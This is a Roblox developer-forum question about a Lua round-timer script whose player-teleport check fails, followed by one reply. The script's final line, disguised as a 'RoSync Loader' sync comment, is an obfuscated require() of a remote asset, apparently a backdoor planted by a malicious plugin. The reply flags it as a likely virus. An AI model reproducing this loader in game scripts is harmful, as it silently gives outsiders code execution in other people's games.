Hello, I have a small problem with my script. I wonder why my "If player.JoinRound.Value == true then" Won't work even though the Value is true.
local roundLength = 5
local IntermissionLength = 5
local InRound = game.ReplicatedStorage.InRound
local Status = game.ReplicatedStorage.Status
local LobbySpawn = game.Workspace.LobbySpawn
local GameAreaSpawn = game.Workspace.GameAreaSpawn
InRound.Changed:Connect(function()
if InRound.Value == true then
for i, player in pairs(game.Players:GetChildren()) do
local char = player.Character
if player.JoinRound.Value == true then
char.HumanoidRootPart.CFrame = GameAreaSpawn.CFrame
end
end
else
for i, player in pairs(game.Players:GetChildren()) do
local char = player.Character
char.HumanoidRootPart.CFrame = LobbySpawn.CFrame
end
end
end)
local function roundTimer()
while wait() do
for i = IntermissionLength, 0, -1 do
InRound.Value = false
wait(1)
Status.Value = "Intermission: ".. i .." seconds left!"
end
for i = roundLength, 0, -1 do
InRound.Value = true
wait(1)
Status.Value = "Game: ".. i .." seconds left!"
end
end
end
spawn(roundTimer)
--[[ Last synced 11/14/2020 10:30 || RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)

1 comment
https://devforum.roblox.com/t/what-is-rosync/791942/ I think you may have a virus plugin